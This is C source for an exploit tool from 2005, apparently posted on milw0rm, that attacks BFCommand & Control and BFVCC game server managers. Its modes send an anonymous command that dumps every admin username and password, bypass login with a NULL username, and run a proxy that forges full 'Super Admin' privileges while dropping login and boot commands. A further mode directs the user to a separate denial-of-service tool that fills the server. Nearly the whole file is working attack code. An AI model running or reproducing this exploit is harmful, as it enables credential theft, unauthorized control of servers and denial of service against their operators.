/*
by Luigi Auriemma
http://aluigi.altervista.org/fakep/tcpfp.zip
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#ifdef WIN32
#include <winsock.h>
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
// inserted winerr.h /str0ke
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define PORT 5555
#define MYPORT 3333
#define BUFFSZ 8192
#define DEL 0x1e
#define END "\x00\x40\x40\x00"
void proxy(int sock, u_char *buff, int size);
int check_drop(u_char *data);
void show_bfcc(u_char *buff, int len);
void send_bfcc(int sock, ...);
int recv_bfcc(int sock, u_char *buff, int size);
u_int resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len,
attack,
scan = 3;
u_short port = PORT;
u_char buff[BUFFSZ];
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"BFCommand & Control login bypass "VER"\n"
" BFCC <= 1.22_A\n"
" BFVCC <= 2.14_B\n"
" BFVCCDaemon is NOT vulnerable\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(%hu)]\n"
"\n"
"Attack:\n"
" 1 = passwords stoler, sends the GetUserAccounts anonymously and gets all the\n"
" usernames and passwords in the server manager (bug A)\n"
" 2 = checks if is possible to bypass the login using a NULL username (bug B)\n"
" 3 = proxy server to use with BFC3 and BFVC3 clients which grants access to any\n"
" vulnerable server in total anonymity and unbootable (bug A and C)\n"
" 4 = explanation of how test bug D, server full forever\n"
"\n"
" Note: The default port of BFCC is 4555 while is 5555 for BFVCC (default)\n"
" This tool has been written to be compatible with BFVCC so only attack 1\n"
" and 4 can be used with success versus BFCC using this specific tool\n"
"\n", argv[0], port);
exit(1);
}
attack = atoi(argv[1]);
if((attack < 1) || (attack > 4)) {
fputs("\nError: you must choose a number between the range of available attacks\n\n", stdout);
exit(1);
}
if(attack == 4) {
fputs("\n"
"Download the tool \"Generic TCP Fake Players DoS\" from here:\n"
"\n"
" http://aluigi.altervista.org/fakep/tcpfp.zip\n"
"\n"
"Launch it with the following arguments\n"
"\n"
" tcpfp -r full 127.0.0.1 5555\n"
"\n"
"substituiting 127.0.0.1 and 5555 with the server and port of the server you\n"
"want to test.\n"
"\n", stdout);
return(0);
}
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
while(scan--) {
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
len = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
if(!len) break;
fputs(" no service available on this port\n", stdout);
peer.sin_port = htons(++port);
}
if(len < 0) std_err();
if(attack == 1) {
fputs("- receive server's informations:\n", stdout);
len = recv_bfcc(sd, buff, BUFFSZ);
show_bfcc(buff, len);
fputs("- send anonymous GetUserAccounts commands\n", stdout);
send_bfcc(sd, "GetUserAccounts", NULL);
fputs(
"- receive full list of admin usernames and passwords\n"
" Username Password:\n", stdout);
len = recv_bfcc(sd, buff, BUFFSZ);
show_bfcc(buff, len);
} else if(attack == 2) {
fputs("- receive server's informations:\n", stdout);
len = recv_bfcc(sd, buff, BUFFSZ);
show_bfcc(buff, len);
fputs("- send login command with NULL nickname\n", stdout);
send_bfcc(sd,
"login",
"\0", // BUG exploited here
"password",
"username",
"???",
"",
NULL);
fputs("- check for success message:\n", stdout);
len = recv_bfcc(sd, buff, BUFFSZ);
show_bfcc(buff, len);
} else if(attack == 3) {
proxy(sd, buff, BUFFSZ);
}
close(sd);
free(buff);
return(0);
}
void proxy(int sock, u_char *buff, int size) {
struct sockaddr_in peer;
fd_set readset;
int sdl,
sda,
on = 1,
len,
psz,
selsock;
peer.sin_addr.s_addr = INADDR_ANY;
peer.sin_port = htons(MYPORT);
peer.sin_family = AF_INET;
psz = sizeof(peer);
printf("- bind port %hu\n", MYPORT);
sdl = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sdl < 0) std_err();
if(setsockopt(sdl, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
< 0) std_err();
if(bind(sdl, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
if(listen(sdl, SOMAXCONN)
< 0) std_err();
printf("- launch BFC3 or BFVC3 and sets %s as server and %hu as port\n",
"127.0.0.1", MYPORT);
sda = accept(sdl, (struct sockaddr *)&peer, &psz);
if(sda < 0) std_err();
printf("- connected\n");
send_bfcc(sda, // enable everything
"master",
"null/null/null/0/Map_True/"
"Action-Warn" "\xff" "1" "\xff"
"Action-Kick" "\xff" "1" "\xff"
"Action-Insta-Kick (No Reason)" "\xff" "1" "\xff"
"Action-Ban" "\xff" "1" "\xff"
"Action-Insta-Ban (No Reason)" "\xff" "1" "\xff"
"Action-Remove Ban" "\xff" "1" "\xff"
"Action-Clear Banlist" "\xff" "1" "\xff"
"Action-Force to Other Team" "\xff" "1" "\xff"
"Action-Kill Player" "\xff" "1" "\xff"
"Action-Send Message to Server" "\xff" "1" "\xff"
"Game-Pause" "\xff" "1" "\xff"
"Game-Toggle Auto-Balance" "\xff" "1" "\xff"
"Action-Request PB Screenshot" "\xff" "1" "\xff"
"BFVC3-Maps Change Maps" "\xff" "1" "\xff"
"BFVC3-Maps Change 2 Map NOT in " "\xff" "1" "\xff"
"BFVC3-Maps Restart Map" "\xff" "1" "\xff"
"BFVC3-Maps Set Next Map" "\xff" "1" "\xff"
"BFVC3-Admin Change Server Settings" "\xff" "1" "\xff"
"BFVC3-Admin Change FF Settings" "\xff" "1" "\xff"
"BFVC3-Admin Change Misc Settings" "\xff" "1" "\xff"
"BFVC3-Admin Change Voting Settings" "\xff" "1" "\xff"
"USERS-Access User Accounts" "\xff" "1" "\xff"
"USERS-Edit User Profiles" "\xff" "1" "\xff"
"USERS-Create User" "\xff" "1" "\xff"
"USERS-Edit User" "\xff" "1" "\xff"
"USERS-Delete User" "\xff" "1" "\xff"
"BFVCC-Access Manager Control Panel" "\xff" "1" "\xff"
"BFVCC-Access to Auto Admin Settings" "\xff" "1" "\xff"
"BFVCC-Load Manager Profiles" "\xff" "1" "\xff"
"BFVCC-Save Changes to Profiles" "\xff" "1" "\xff"
"BFVCC-Create Manager Profiles" "\xff" "1" "\xff"
"BFVCC-Delete Manager Profiles" "\xff" "1" "\xff"
"CC-Access the CC Editor" "\xff" "1" "\xff"
"CC-Save Changes to CC Profiles" "\xff" "1" "\xff"
"CC-Create new CC Profiles" "\xff" "1" "\xff"
"CC-Delete CC Profile" "\xff" "1" "\xff"
"CC-Change a Maps CC Profile" "\xff" "1" "\xff"
"PB-Edit PB Config Files" "\xff" "1" "\xff",
"15567", // default server port (useless)
"admin" "\xff", // username (useless)
"True",
"Super Admin", // profile
"0",
NULL);
selsock = ((sock > sda) ? sock : sda) + 1;
for(;;) {
FD_ZERO(&readset);
FD_SET(sock, &readset);
FD_SET(sda, &readset);
if(select(selsock, &readset, NULL, NULL, NULL)
< 0) std_err();
if(FD_ISSET(sda, &readset)) {
len = recv_bfcc(sda, buff, size);
fwrite(buff, len, 1, stdout);
if(check_drop(buff)) continue;
len = send(sock, buff, len, 0);
if(len < 0) std_err();
}
if(FD_ISSET(sock, &readset)) {
len = recv_bfcc(sock, buff, size);
fwrite(buff, len, 1, stdout);
if(check_drop(buff)) continue;
len = send(sda, buff, len, 0);
if(len < 0) std_err();
}
}
close(sda);
close(sdl);
}
int check_drop(u_char *cmd) {
int i;
u_char *p,
*drop[] = {
"login",
"Boot",
"loginfailed",
NULL
};
p = strchr(cmd, DEL);
if(!p) {
p = strchr(cmd, END[0]);
if(!p) return(0);
}
for(i = 0; drop[i]; i++) {
if(!strncmp(cmd, drop[i], p - cmd)) return(1);
}
return(0);
}
void show_bfcc(u_char *buff, int len) {
u_char *p,
*l,
*limit = buff + len;
for(p = buff; p < limit; p = l + 1) {
for(l = p; *l != DEL; l++) {
if(!memcmp(l, END, 4)) return;
if(!memcmp(l, "|;|", 3)) {
if(*(l - 1) == '\t') *(l - 1) = ' ';
memcpy(l, "\n ", 3);
}
}
*l = 0;
printf(" %s\n", p);
}
}
void send_bfcc(int sock, ...) { // final NULL required
va_list ap;
int len;
u_char *s;
va_start(ap, sock);
s = va_arg(ap, u_char *);
if(s) {
for(;;) {
len = strlen(s);
if(!len) len++;
send(sock, s, len, 0);
s = va_arg(ap, u_char *);
if(!s) break;
send(sock, "\x1e", 1, 0);
}
}
va_end(ap);
send(sock, END, 4, 0);
}
int recv_bfcc(int sock, u_char *buff, int size) {
int len = 0;
// one command at time, slower but better
while(len < size) {
if(recv(sock, buff + len, 1, 0) <= 0) {
fputs("\nError: connection interrupted\n\n", stdout);
exit(1);
}
len++;
if(!memcmp(buff + len - 4, END, 4)) break;
}
if(len == size) {
fputs("\nError: command too long\n\n", stdout);
exit(1);
}
return(len);
}
u_int resolv(char *host) {
struct hostent *hp;
u_int host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_int *)(hp->h_addr);
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
// milw0rm.com [2005-08-29]
